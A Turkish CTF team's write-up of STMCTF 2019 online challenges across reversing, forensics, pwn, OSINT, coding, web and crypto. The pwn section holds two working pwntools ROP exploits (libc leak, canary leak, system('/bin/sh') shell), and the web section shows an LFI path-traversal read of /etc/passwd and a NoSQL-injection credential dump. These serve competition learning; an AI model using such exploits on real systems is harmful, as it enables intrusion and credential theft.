STMCTF Online Soruları Çözümleri
30 Sep 2019Öncelikle beraber 3.lükle bitirdiğimiz takım arkadaşlarım Genco ve Melih‘e teşekkür etmek istiyorum.
REVFORMAL
101
Bu soruda bize bu binary‘yi veriyordu. Ghidra ile incelediğimizde yaptığı pek de bir şey yoktu.
Alışkanlıktan dolayı variable ları rename ediyorum.
Burda benim dikkatimi çeken encryptDecrypt fonksiyonu oldu, kktc dosyasıyla veya giriş kısmıyla ilgilenmek yerine direkt ona bakıyorum o yüzden.
Anladığım kadarıyla sadece 50 ile xor yapıyor, sanırım adminler bunu strings atarak bulmayalım diye koymuşlar, fakat bana engel olamaz.
Hex stringlerin ikisini uç uca ekleyip 50 ile xor ediyorum ve bu geliyor: K{FTCMTS}CTK
Bir de endianness değiştirdik mi oldu gibi.
flag:STMCTF{KKTC}
retroChrome
Bu bir <a href=/raw/ctf/STMCTF2019-online/DG_v6.EXE>DOS dosyasıydı</a> ve içerisinde MOV komutları ile flag yerleştiriliyordu. Strings atmak yeterli!
kali@kali:/media/sdb9/sec/stm$ strings --encoding=S DG_v6.EXE
...
�F�S�F�T�F�M�F�C�F�T�F�F�F�{�F�1�F�6�F�B�F�I�F�T�F�I�F�S�F�O�F�L�F�D�F�M�F�A�F�A�F�N�F�}�F�P�F�P�F�P�F�P�F�P�F�P�F�P�F�P�F�P�F�P�F��P�F��P�F��P�F��P�F��P�F��P�F��P�F��P�F��P�F��P�F��P�F��P�4
...
Herhangi bir dilde MOV komutundan kaynaklı gelen byteları siliyoruz, replace(‘�F�’, ‘’) yaparak, ve şu geliyor: STMCTF{16BITISOLDMAAN}PPPPPPPPPP�P�P�P�P�P�P�P�P�P�P�P�P�4
flag: STMCTF{16BITISOLDMAAN}
mines
Bu soruda bir exe dosyası veriliyor, ve bu exe dosyası hepimizin bildiği mayın tarlası oyunu. Tek sıkıntı, 900 karede 899 mayın var.
Bayrağı almanız için oyunu kazanmanız lazım. Bunun iki kolay yöntemi var. Binary’yi incelediğimizde her kare için memory de bir byte tuttuğunu, ve mayın olan karelerin 1, olmayanın 0 olduğunu görebilirsiniz. Mayınları temizleyebilir, yani her byte’ı 0 yapabilirsiniz.
Veya uyanıklık edip, virtual machine içerisinde çalıştırıp, snapshot alırsınız, herhangi bir yere tıklayıp mayınsız kare nerede bakarsınız, ve snapshot’a geri dönüp oynu kazanırsınız.
FOR01
Bu soruda bize bir android telefonun backup’ı verilmişti. İçeriğini extract edince bakılması gereken, taranması gereken çok çok fazla şey vardı, o yüzden sonuna atlıyorum. Whatsapp içerisinden msgstore.db yi çekiyorduk, ve içerisinde böyle bir mesaj olduğunu görüyorduk:
2mdgog / pges1zclmgpi2d0anoliqbwalqf5u2c7b643hj4h34yw55g + 8
Telegramda ise ..db-wal dosyasında ctfbandera_bot adında bir bot olduğunu görüyorduk. Bu botu incelediğimizde bizden bir key istediğini gördük.
Whatsapp’ta bulduğumuz stringi atarak flagi aldık.
MessageFromAfrin
Bu soru zor değildi, verilen mobil uygulamayı apktool ile açıp inceliyorduk, ve bir firebase adresi buluyorduk. Bu linke gidip /flag.json uzantısına gidince bayrak geliyordu. Malesef bu url ye gelmemize ve üzerinde uğraşmamıza rağmen wfuzz atmadık, ve flagi bulamadık.
RightManintheWrongPlace (bilmiyoruz)
travel (bilmiyoruz)
DontBotherMe
yet_another_crack_me (en ufak bir fikrimiz yok, ama luca biliyor)
PWN
baby_baby
pwn da çok iyi değilim, fakat Genco bu soruları çok hızlı şekilde çözdü, kendim pwn’da iyi değilim o yüzden anlatamıyorum fakat standart stack rop, ama Genco’nun kod burada:
from pwn import *
p = remote("PWNLoadBalancer-1292325806.eu-west-1.elb.amazonaws.com", 8888)
#p = process("./baby_pwn")
context(os="linux", arch="amd64")
context.log_level = 'DEBUG'
JUNK = "A"*56
payload = JUNK
payload += p64(0x4004d1) # ret
payload += p64(0x400733) # pop rdi
payload += p64(0x40077e) # welcome pwners %s
payload += p64(0x400731) # pop rsi, r15
payload += p64(0x601020) # got - read
'''
read 250
start main 740
setvbuf e70
libc6_2.23-0ubuntu10_amd64
libc6_2.23-0ubuntu11_amd64
'''
payload += p64(0x0)
payload += p64(0x4004f0) # plt - printf
payload += p64(0x400636) # main
p.recv() # What's your fav exploitation method?
p.sendline(payload)
p.recvline() # welcome pwners
leaked_read = u64(p.recvline().strip()[17:].ljust(8, "\x00"))
libc_read = 0xf7250
offset = leaked_read - libc_read
log.info("Leaked read: %x" % leaked_read)
log.info("glibc offset: %x" % offset)
libc_execve = 0xe4e30 + offset
payload = JUNK
payload += p64(0x400733) # pop rdi
payload += p64(offset + 0x18cd57) # bin_sh
payload += p64(offset + 0x045390) # system
p.sendline(payload)
p.interactive()
PWN1
DOSYASI BURADA Yukarıdaki ile aynı şekilde, ama bu sefer işin içinde canary de var:
from pwn import *
p = remote("52.209.229.70", 9999)
#p = process("./pwn_chal_1")
context(os="linux", arch="amd64")
context.log_level = 'DEBUG'
p.sendline("%13$lx")
canary = p.recvline()
JUNK = "A"*7*8
payload = JUNK
payload += p64(int(canary, 16))
payload += p64(0x0)
payload += p64(0x4008d3) # pop rdi
payload += p64(0x601020) # got - puts
'''
puts 690
putchar 290
gets d80
ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
archive-glibc (id libc6_2.23-0ubuntu11_amd64)
'''
payload += p64(0x400600) # plt - puts
payload += p64(0x400776) # whatt
p.sendline(payload)
leaked_read = u64(p.recvline().strip().ljust(8, "\x00")) #putssz
log.info("Leaked read: %x" % leaked_read)
libc_read = 0x6f690
offset = leaked_read - libc_read
log.info("glibc offset: %x" % offset)
libc_execve = 0xe4e30 + offset
payload = JUNK
payload += p64(int(canary, 16))
payload += p64(0x0)
payload += p64(0x4008d3) # pop rdi
payload += p64(offset + 0x18cd57) # bin_sh
payload += p64(offset + 0x045390) # system
p.sendline()
p.sendline(payload)
p.interactive()
houseofwhat (bilmiyoruz)
Bu pwn sorusu heap pwn olacaktı, isminden bunu çıkarıyoruz. Bkz: heap overflow türleri, fakat ne zaman vardı, ne de yapacak bilgimiz. Heap exploit kitabını bastırıp spirallettim, finale kadar öğreneceğim, belki sonradan çözüp writeup’a eklerim.
MISC
SLACK
Bu soru merhaba sorusuydu biraz, size ctf için tartışmanın sürdüğü STMCTF2019 slack workspace’ine götürüyordu, orda da adminler bu soruya ait bayrağı atıyordu.
be_my_side
Bu soruda bize bir resim veriliyordu.
Resime binwalk attığımızda içerisinden bir zip dosyası çıkıyordu. içerisinde 22.jpg diye bir resim vardı, fakat zip şifreli olduğu için çıkaramıyorduk.
zip2john atıp rockyou ile crackledikten sonra zip şifresinin HEART olduğunu bulup, 22.jpg yi çıkarıyorduk.
Exiftool attığımızda bunu görüyoruz: Artist : tufan
Bu dosyaya da binwalk atınca yine şifreli bir zip geliyor, ve bu sefer rockyou dan kırılmıyor. En sonunda darkc0de.txt listesi ile kırıyoruz ve şifre Kohala
geliyor.
İçerisinden bu resim çıkıyor:
exiftool atınca bunu görüyoruz:Camera Model Name : U1RNQ1RGezFfbXVzdF9QUk9URUNUX3RoZV9XMUxEfQ==
flagSTMCTF{1_must_PROTECT_the_W1LD}
ACOUSTINT
Bu soru şuana kadar gördüğüm tüm ctfler arasında favorimdi. Bize şu video veriliyordu, ve sonunda yazılan email adresi isteniyordu:
Konuyla alakalı bir kaç makaleye denk geldikten ve birkaç tool gördükten sonra ikna olduk ki doğru yoldayız.
İlk öncesinde bu tool’u kullandık, fakat çok fazla problem yaşadık. Hem SDL kütüphanesi kullandığı için ve mikrofondan dinleme zorunluluğu olup mp3/wav dosyası işleyemediği için arka plan gürültümüz çok yüksekti, hem de mikrofondan dinlenirken klavye ile programın terminaline yazmak gerekiyordu. Bizde bunu yapmak için tek tek her keytap’in zamanını çıkardık, ve ses ile senkronize edip python ile klavye haraketini simüle ettik.
Bu gençliğimi çürüten python scriptinden bi kesit:
from __future__ import division
from pynput.keyboard import Key, Controller
import pygame
import time
keyboard = Controller()
last_waited=0
def wait(_time):
global last_waited
time.sleep((_time-last_waited)/1000)
last_waited=_time
pygame.mixer.init()
pygame.mixer.music.load('ACOUSTINT.mp3')
pygame.mixer.music.play()
time.sleep(0.350)#sync
wait(0.317*1000)
keyboard.press('a')
keyboard.release('a')
wait(0.877*1000)
keyboard.press('r')
keyboard.release('r')
wait(1.239*1000)
keyboard.press('r')
keyboard.release('r')
wait(1.630*1000)
keyboard.press('o')
keyboard.release('o')
wait(1.983*1000)
keyboard.press('y')
keyboard.release('y')
wait(2.361*1000)
keyboard.press('o')
keyboard.release('o')
wait(2.913*1000)
keyboard.press(' ')
keyboard.release(' ')
...
Bütün çilelerle beraber training modeli oluşturduktan sonra malesef bütün bu sorunlardan dolayı değerli bir tahmin alamadık.
Bundan sonrasında 10-15 saat daha kimse çözemeyince kullanmamız gereken tool’u üreten araştırma şirketine dair bir hint geldi, ve Skype-Type aracını kullanmamız gerektiğini anladık.
Bu araç çok daha kolaydı, ses dosyasını veriyordunuz, yazılı metni veriyordunuz ve training model oluşturuyordu. Tek sıkıntısı boşlukları kabul etmiyordu, biz de tüm boşlukları X
ile değiştirdik ve kabul edip training modeli oluşturdu.
Tahminleri de doğru gibi duruyordu.
Daha sonrasında görmediğimiz kısma tahmin yürütünce bize bu outputu verdi.
Yukarıdan aşağıya harf sırası, ve soldan sağa doğru da emin olma sırasını gösteriyor. Buna bakarak görmediğimiz mail adresinin [email protected]
olduğu yorumunu yaptık.
flag: STMCTF{[email protected]}
Industrial Leak (bilmiyoruz)
OSINT
Latte
Bu soruda bir grubun türkiyeye geldiğini, ve dünyadaki en iyi 50 coffee shop’tan birinde oturacağını yazıyordu. Onları takip edebilmek için bu bölge hakkında bilgi toplamamızı istiyordu, ve yakındaki bir taksi durağının telefon numarasının flag olduğunu söylüyordu.
Araştırmalarımız sonucunda İstanbul-Bebek’teki bu Starbucks‘ı bulduk
Yolu takip ettiğimizde ise bu taksi durağını bulduk
Chain
Bu soruda bize bu stringi:3bAA58d9187B7700c505666B8C4936855DaD50B1
veriyor ve cüzdanını kaybettiğini söylüyor.
Belli bir şekilde bu crypto cüzdan adresi, aramalarımız sonucunda bunun bir ethereum cüzdanı olduğunu buluyoruz fakat içerisinde hiçbir bilgi yok, transaction yok.
Biraz daha kurcalayınca test networklerinden birinde bu adresin aktif olduğunu buluyoruz.
https://ropsten.etherscan.io/address/0x3bAA58d9187B7700c505666B8C4936855DaD50B1
Transaction infolara baktığımızda şu transactionda: https://ropsten.etherscan.io/tx/0x958f12e6b76956c402ebefa6850ece829faf444cf189e65af8c5459252f399ea
bu infoyu buluyoruz: 0x53544d4354467b623372336b65745f76337273316e7d
flag:STMCTF{b3r3ket_v3rs1n}
CODING
FirstOrder
Bu soruda size bir link veriliyordu, ve bu linkte aşağıdaki formatta bir output ile karşılaşıyordunuz:
['a', 'in', '49', '11', '58', '62', '25', '1', 'is', 'and', '79', '72', '37', '94', '44', '17', 'the', '26', '66', 'to', 'that', '70', '1', '46', '24', '21', '10', 'of', '92', '5']-->Numbers first order
Anlatılmak istenen açık, bu diziyi sıraya koyacağız, ve dediğine göre ya kelimeleri ya da sayılar öncelikli tutacağız.
En başta js ile yazmaya başlamıştım, hemen browser windowdan yollarım requestleri diye, adım adım gidelim.
JS
ilk öncelikle aldığımız stringi array ve ilk önce neyi koyacağımızı anlayacak şekilde bölmemiz gerekiyor:
arr = (string.match(/.*-->/)[0]).replace('-->', '')
order = (string.match(/-->[^ ]*/)[0]).replace('-->','')
Daha sonrasında arrayi stringden çekmek için ilk önce ]
ve [
karakterlerini silip, ,
ayıracı ile böldüm. Daha sonrasında sayıları sayı, stringleri string olarak aldım.
arr = arr.replace(/\]|\[|\'/g, '').split(', ')
for(var i=0; i<arr.length;i++){
if(!isNaN(arr[i])){
arr[i]= Number(arr[i])
}
}
Daha sonrasında sadece xhr ile request atması ve data payload’umuzu oluşturması kaldı. Kodun son hali aşağıdaki gibi:
var request = new XMLHttpRequest();
request.open('GET', 'https://zvlhch4ygd.execute-api.eu-west-1.amazonaws.com/production/challenge', true);
request.send(null);
request.onreadystatechange = function () {
if (request.readyState === 4 && request.status === 200) {
var type = request.getResponseHeader('Content-Type');
if (type.indexOf("text") !== 1) {
console.log('Challenge:')
console.log(request.responseText)
solve(request.responseText)
return request.responseText;
}
}
}
var tosend={}
var tosend2 = {"123":"123"}
function solve(string){
arr = (string.match(/.*-->/)[0]).replace('-->', '')
order = (string.match(/-->[^ ]*/)[0]).replace('-->','')
arr = arr.replace(/\]|\[|\'/g, '').split(', ')
var words = [],numbers=[];
for(var i=0; i<arr.length;i++){
if(!isNaN(arr[i])){
numbers.push(Number(arr[i]))
}else{
words.push(arr[i])
}
}
if(order=='Numbers')
resp = "{'answer':'[" + numbers.sort() + ',' + words.sort() + "]'}"
else resp = "{'answer':'[" + words.sort() + ',' + words.sort() + "]'}"
var xhr = new XMLHttpRequest();
var url = "https://zvlhch4ygd.execute-api.eu-west-1.amazonaws.com/production/challenge";
xhr.open("POST", url, true);
xhr.setRequestHeader("Content-Type", "application/json");
xhr.onreadystatechange = function () {
if (xhr.readyState === 4) {
console.log(xhr.responseText)
}
};
var data = JSON.stringify(tosend);
console.log('Response:')
xhr.send(resp);
console.log(resp)
}
Fakat bu çözüm çalışmadı (çok sonradan öğrendik ki soruda bi sıkıntı varmış)
Bu kod çalışmayınca belki de istekleri tek session üzerinden atmak ve Keep-Alive kullanmak gerekiyordur dedim, ve aşağıdaki py+js çözümünü çıkardım. Sunucu bazen 500 döndürüyor, bazen ise çok geç kaldın diyordu.
py + js
Python kısmı çok kolay aslında, sadece session üzerinden get request ile stringi alyorum, subprocess ile node.js dosyasını çalıştırıp, arrayi orada işliyorum. Böyle yapmamın asıl nedeni herşeyi tekrar python ile baştan yazmak istemem idi.
Python dosyası:
import requests
import hashlib
import re
import json
import ast
import subprocess
URL = 'https://zvlhch4ygd.execute-api.eu-west-1.amazonaws.com/production/challenge'
def get_flag():
session = requests.Session()
r = session.get(URL)
#print(r.text)
resp = (subprocess.check_output(['node', 'node/index.js', r.text]))
r = session.post(URL)
return r.text
while True:
print(get_flag())
node.js dosyası:
var tosend={}
var tosend2 = {"123":"123"}
function solve(string){
arr = (string.match(/.*-->/)[0]).replace('-->', '')
order = (string.match(/-->[^ ]/)[0]).replace('-->','')
arr = arr.replace(/\]|\[|\'/g, '').split(', ')
var words = [],numbers=[];
for(var i=0; i<arr.length;i++){
if(!isNaN(arr[i])){
numbers.push(Number(arr[i]))
}else{
words.push(arr[i])
}
}
if(order=='Numbers')
resp = "{'answer':'[" + numbers.sort() + ',' + words.sort() + "]'}"
else resp = "{'answer':'[" + words.sort() + ',' + words.sort() + "]'}"
resp = resp.replace(',]', ']')
//console.log('Resp: ')
process.stdout.write(resp)
}
solve(process.argv[2])
Fakat bu da çalışmayınca olur olur diyip tamamen python implementasyonuna döndürdüm. Bu sefer sürekli terminalimden tek tek atmak yerine, bir de loopa koyayım sürekli tekrar etsin dedim.
python
import requests
import hashlib
import re
import json
import ast
import subprocess
from termcolor import colored
URL = 'https://zvlhch4ygd.execute-api.eu-west-1.amazonaws.com/production/challenge'
URLPOST = URL
_headers = {'Content-Type': 'application/json'}
def get_flag():
session = requests.Session()
r = session.get(URL)
print("Challenge: " + r.text)
numbers=[]
words=[]
arr = re.findall('\[.*\]',r.text)
first = re.findall('-->[^ ]*',
r.text)[0]
arr = ast.literal_eval(arr[0])
for i in range(0,len(arr)):
if(arr[i].isdigit()):
numbers.append(int(arr[i]))
else:
words.append(arr[i])
numbers.sort()
words.sort()
for i in range(0,len(numbers)):
numbers[i] = (numbers[i])
#print(words)
#print(numbers)
if(first=='-->Numbers'):
resplist = numbers + words
else:
resplist = words + numbers
#print("Response: " + resp)
_data = '{"answer":' + str(resplist) + '}'
_data = _data.replace(' ', '')
_data = _data.replace("'", '"')
print("Response:" + _data)
r = session.post(URLPOST, data=_data, headers=_headers)
#print(r.headers)
if(r.status_code==500):
return colored(r.text,'red')
if(r.status_code==400):
return colored(r.text,'yellow')
return colored(r.text,'green')
counter=1
while True:
print(colored("Ölüp giden hayallerim:" + str(counter), 'yellow'))
counter+=1
print(get_flag())
En başta böyle bir output alıyordum:
Fakat adminler soruyu düzeltince direkt flag geldi.
BackINTime
Bu soruda bize şu dosya veriliyordu. Yapılacak şey çok açık.
Kod çok güzel değil fakat:
import os
cnt = 363
os.system = print
while True:
print(cnt)
with open("%s"%cnt, "rb") as r:
c = r.read()
if c.startswith(b'zlib_codec(flag)='):
c = c[len(b'zlib_codec(flag)='):]
cnt += 1
with open("%s"%cnt, "wb") as w:
w.write(c)
os.system("cat %s | zlib-flate -uncompress > %s" % (cnt, cnt+1))
cnt += 1
elif c.startswith(b'base16(flag)='):
c = c[len(b'base16(flag)='):]
cnt += 1
with open("%s"%cnt, "wb") as w:
w.write(c)
os.system("xxd -r -p %s > %s" % (cnt, cnt+1))
cnt += 1
elif c.startswith(b'base64(flag)='):
c = c[len(b'base64(flag)='):]
cnt += 1
with open("%s"%cnt, "wb") as w:
w.write(c)
os.system("base64 -d %s > %s" % (cnt, cnt+1))
cnt += 1
elif c.startswith(b'rot_13(flag)='):
c = c[len(b'rot_13(flag)='):]
cnt += 1
with open("%s"%cnt, "wb") as w:
w.write(c)
os.system("cat %s | tr 'A-Za-z' 'N-ZA-Mn-za-m' > %s" % (cnt, cnt+1))
cnt += 1
elif c.startswith(b'bz2_codec(flag)='):
c = c[len(b'bz2_codec(flag)='):]
cnt += 1
with open("%s"%cnt, "wb") as w:
w.write(c)
os.system("bzcat %s > %s" % (cnt, cnt+1))
cnt += 1
elif c.startswith(b'base32(flag)='):
c = c[len(b'base32(flag)='):]
cnt += 1
with open("%s"%cnt, "wb") as w:
w.write(c)
os.system("base32 -d %s > %s" % (cnt, cnt+1))
cnt += 1
else:
print(cnt)
quit()
WEB
easypeasy
Öncelikle özür diliyorum, çünkü bu soruya ait istediğim kadar screenshot’ım olmadığını farkettim.
Bu sunucuya girince hemen tanıyoruz, ve ne yapmamız gerektiğini ezbere biliyoruz zaten.
/windows/code.php?file=../../../../../etc/passwd
adresine gidiyoruz ve bize etc/passwd geliyor, yani lfi çalışıyor. Sadece flag hangi dosyada onu bulmak lazım.
Fakat sayfada küçük bir waf var, file parametresi flag
kelimesini içeriyorsa Hacker detected
diyor, ve dosyayı okumuyor.
/windows/function.php?file=/etc/passwd&start=0&end=1 adresine gidince de lfi yapabildiğimizi, ve bu sefer waf olmadığını görüyoruz.
Flagin yerini bulmak için ilk önce robots.txt ye bakıyoruz, fakat 403 geliyor. Biz de lfi ile .htaccess i okuyoruz ve .txt dosyalarının 403 gönderdiğini görüyoruz, bu bize flagin flag.txt olarak kayıtlı olabileceğini gösteriyor.
Flag, /windows/function.php?file=../flag.txt adresine gidince geliyor.
eastTurkestan
Öncelikle özür diliyorum, çünkü bu soruya ait istediğim kadar screenshot’ım olmadığını farkettim.
Bu soruda websitesine girince tek dikkat çekici noktası login paneliydi. Uzun uğraşlar sonucunda username enumerate ederek “aa” isimli bir kullanıcı olduğunu bulduk, fakat bunun çözüm için lazım olmadığını çok sonradan fark ettik. Aşağıdaki gibi nosql injection yaparak tüm kullanıcıları görmek gerekiyor.
[{"_id":"5d3eeed61b715449ac610670","username":"Bumin Kağan","password":"MTM1NzU2Nzg5","__v":0},{"_id":"5d3eeedc1b715449ac610671","username":"Oğuz Kağan","password":"YXNkYXNkc2FkYXNkMjE=","__v":0},{"_id":"5d3eeee31b715449ac610672","username":"Fatih Sultan Mehmet","password":"YXNkYWRhc2QyMTMyMTM=","__v":0},{"_id":"5d3eeeea1b715449ac610673","username":"Alp Arslan","password":"cnRoZGdkZmhm","__v":0},{"_id":"5d3eeef31b715449ac610674","username":"Mustafa Kemal Atatürk","password":"Y3ZjeHZiMjM0MjM0","__v":0},{"_id":"5d3eeef81b715449ac610675","username":"Metehan","password":"c2RmZ2RmZ2Rld3J3","__v":0},{"_id":"5d3eef081b715449ac610676","username":"Kürşat ve 40 Çerisi","password":"TmVNdXRsdVTDvHJrw7xtRGl5ZW5lLiEq","__v":0},{"_id":"5d3eef0f1b715449ac610677","username":"Atilla","password":"YXNkYXNkcXdlMDEyMw==","__v":0},{"_id":"5d3eef151b715449ac610678","username":"Yavuz Sultan Selim","password":"c3NkZnNkNjk4Nzk2","__v":0},{"_id":"5d3eef1c1b715449ac610679","username":"Kanuni Sultan Süleyman","password":"ODk1Njg3MDU2cnR5cnR5","__v":0},{"_id":"5d8fabd59710d452195fad08","username":"Kürşat ve 40 Çerisi","password":"TmVNdXRsdVTDvHJrw7xtRGl5ZW5lLiEq","__v":0},{"_id":"5d8fabf99710d452195fad09","username":"Kürşat ve 40 Çerisi","password":"TmVNdXRsdVTDvHJrw7xtRGl5ZW5lLiEq","__v":0}]
Kürşat ve 40 çerisi olarak giriş yaptığımızda ise karşımıza flag geliyor.
flag: STMCTF{Dogu_Turkistanli_Soydaslarimiz_Yalniz_Degildir}
CRYPTO
srom
Bu soruda bize şu string veriliyordu:
<++ +++<< +++<< ++ +++< ++++< + ++<+ +<+ <<<<< <+ +<< <+++ +<< <+++ <<
En başta brainfuck olduğunu düşündük ve başına »»»»»»» ekleyip memory’ye ne yazıyor bakalım dedik, fakat anlamlı bir şey yazmıyordu.
Daha sonra 2 karakter olduğu için baconian, morse gibi bu profile uygun kriptoları denedik, morse’dan böyle bir string geldi.
(<+ )⇔ (-. ) D33IV4EFR0NWBWBM
rot7 atınca ise: K33PC4LMY0UDIDIT
flag: STMCTF{K33PC4LMY0UDIDIT}
pattern
Bu soruda bize şunu diyordu:
Elimizde açık hali ve şifrelenmiş hali olan bazı kelimeler var. Bunlardan yola çıkarak şifreyi çözebilirsen sorunun ikinci adımına geçebileceksin, ikinci kısma dair ipucu gizli metnin içinde. Flag'i almadan gelme :)
Açık Metin : BUGUN HAVA GUNESLI
GİZLİ METİN : CXLBW IDAH HXSLBWV
Seni 2. adıma taşıyacak gizli metin : MRWLWK L ZHIP T VF
flag : STMCTF{4EALR3RU84839NJLOV}
İlk öncelikle gizli metinin nasıl oluşturulduğunu incelemeye başladık, ve sırasıyla 1,3,5,.. şeklinde ordinal shift yaptığını ve her kelimede sayacı sıfırladığını gördük.
Bu python scripti ile gizli metini açmak mümkün:
secret = "MRWLWK L ZHIP T VF"
#secret = "CXLBW IDAH HXSLBWV"
#secret = input()
counter=1
for ch in secret:
if(ord(ch)>=65 and ord(ch)<=90):
nc = chr((ord(ch)-counter-65)%26+65)
else:
nc=ch
counter=-1
print(nc, end='')
counter+=2
print()
Gizli metinden gelen: LORENZ K YEDI S UC
Bunun hint olduğunu söylüyordu, öyleyse flage 7-3 değerleri ile lorenz kriptosu uygulayalım:
ant_invasion
Bu soruda bize içerisinde 10 tane png olan bir images.zip dosyası veriliyordu. Bu resimlerin hepsi noise gibi gözüküyordu, ve içerisinde herhangi bir şekilde gizlenmiş data bulamayınca stegsolve da açıp oynamaya başladık. Biraz kurcaladıktan sonra xorlarken flag geldiğini gördük.
shameless
Bu soruda bize bir decimal listesi veriyordu, ilk önce bu decimalları byte a dönüştürmek istedik fakat içerisinde birkaç adet “300” vardı, ve bunları 255 den büyük olduğu için byte olarak almak mümkün değil. Bunları sildik, ve bize şu geldi:
386a647445796c50447736724850713139666a4464334e364f4139566b4c716b784167334a436f75786a536e66537453^6b3e2937113f176620110f107a3341520d5009760055280679750a60532f48531d7601512e755c134e5b66560467402e
Ortadaki xor operatörünü farkedip xor yaptıktan sonra ise şu geliyordu:
STMCTF{6df9b2c0c46c2dff064368c98e7fbd63f6158b44}
Bu hashi de hashes.org a attığımızda gördük ki değeri: thursday19
flag:STMCTF{thursday19}
Brunch
Bu soruda bize şu string veriliyordu: MerHaBasTMcTFehosgElDinIZnoKtA{guveNilirogutLerYADanOKtA_meSeLeLeRInozunokTAa}
Sonunda bunun büyük ve küçük harfleri kullanan baconian cipher olduğunu bulduk, ve flagimiz: STMCTF{BACON_FLAG}